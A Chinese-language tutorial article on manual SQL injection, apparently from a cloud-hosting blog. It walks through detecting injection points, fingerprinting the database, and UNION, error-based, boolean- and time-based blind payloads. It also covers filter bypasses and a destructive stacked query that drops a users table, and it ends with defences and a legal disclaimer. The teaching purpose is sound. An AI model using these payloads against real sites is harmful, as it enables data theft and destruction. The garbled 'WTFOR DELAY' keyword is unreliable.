sql手工注入的方法是什么

发布时间：2022-02-07 09:34:02 作者：iii
来源：亿速云阅读：251

# SQL手工注入的方法是什么

## 引言

SQL注入（SQL Injection）是Web应用程序中最常见的安全漏洞之一，攻击者通过在用户输入中插入恶意的SQL代码，欺骗数据库执行非预期的命令。本文将详细介绍SQL手工注入的基本原理、常见方法、利用技巧以及防御措施。

---

## 一、SQL注入的基本原理

SQL注入的核心原理是**利用应用程序对用户输入的不充分过滤**，将恶意SQL语句插入到合法的查询中。当应用程序将用户输入直接拼接到SQL查询语句中时，攻击者可以通过构造特殊输入来改变原查询的逻辑。

### 示例场景
假设一个登录页面的SQL查询如下：
```sql
SELECT * FROM users WHERE username = '$username' AND password = '$password'

如果用户输入： - 用户名：admin' -- - 密码：任意值

最终的SQL语句变为：

SELECT * FROM users WHERE username = 'admin' --' AND password = '任意值'

--是SQL注释符，后续条件被忽略，攻击者可能绕过密码验证。

二、手工注入的步骤

手工注入通常分为以下几个阶段：

1. 检测注入点

通过输入特殊字符（如单引号'）观察页面是否报错： - 输入'后页面返回数据库错误（如MySQL错误），说明存在注入漏洞。 - 输入' AND 1=1 --和' AND 1=2 --，观察页面行为差异。

2. 确定数据库类型

不同数据库的注入语法略有差异，常见方法： - MySQL：通过version()或@@version获取版本。 - Oracle：通过SELECT banner FROM v$version。 - SQL Server：通过SELECT @@version。

3. 获取数据库信息

利用数据库的系统表或函数获取信息： - MySQL：

  SELECT table_name FROM information_schema.tables WHERE table_schema = '数据库名'

Oracle：
```
SELECT table_name FROM all_tables
```

4. 提取数据

通过联合查询（UNION）或盲注技术提取数据：

' UNION SELECT username, password FROM users --

5. 提权与进一步利用

尝试获取管理员权限或执行系统命令（如MySQL的LOAD_FILE或INTO OUTFILE）。

三、常见手工注入技术

1. 联合查询注入（UNION-Based）

利用UNION合并恶意查询到原查询中：

' UNION SELECT 1,2,3 --

通过观察页面显示位确定输出位置。

2. 报错注入（Error-Based）

触发数据库报错以泄露信息： - MySQL：

  ' AND updatexml(1, concat(0x7e, (SELECT version())), 1) --

SQL Server：
```
' AND 1=CONVERT(int, @@version) --
```

3. 布尔盲注（Boolean-Based）

通过页面返回的真/假状态推断数据：

' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') = 'a' --

4. 时间盲注（Time-Based）

通过延时函数判断条件是否成立： - MySQL：

  ' AND IF(1=1, SLEEP(5), 0) --

SQL Server：
```
' IF 1=1 WTFOR DELAY '0:0:5' --
```

四、高级注入技巧

1. 绕过过滤

大小写混淆：SeLeCT代替SELECT。
注释符：/**/分隔关键词，如SEL/*xxx*/ECT。
编码绕过：使用十六进制或URL编码（如0x61646d696e代替'admin'）。

2. 二阶注入

恶意输入先被存储，后续查询时触发：

INSERT INTO users (username) VALUES ('admin'' -- ');
-- 后续查询时触发注入：
SELECT * FROM users WHERE username = 'admin' -- ';

3. 堆叠查询（Stacked Queries）

执行多条SQL语句（需数据库支持）：

'; DROP TABLE users; --

五、防御措施

参数化查询（Prepared Statements）：

PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE username = ?");
stmt.setString(1, username);

输入验证：
- 白名单过滤特殊字符。
- 限制输入长度和类型。
最小权限原则：
- 数据库用户仅授予必要权限。
错误处理：
- 避免将数据库错误信息直接返回给用户。
WAF（Web应用防火墙）：
- 部署WAF拦截常见注入攻击。

六、总结

SQL手工注入是一种需要深入理解数据库和应用程序行为的攻击技术。通过本文介绍的方法，安全研究人员可以更好地识别和防御此类漏洞。然而，请务必在合法授权范围内进行测试，避免触犯法律。

免责声明：本文仅用于教育目的，未经授权的SQL注入测试可能违反法律。
参考工具：SQLMap、Burp Suite等可用于自动化测试。 “`

（全文约1950字）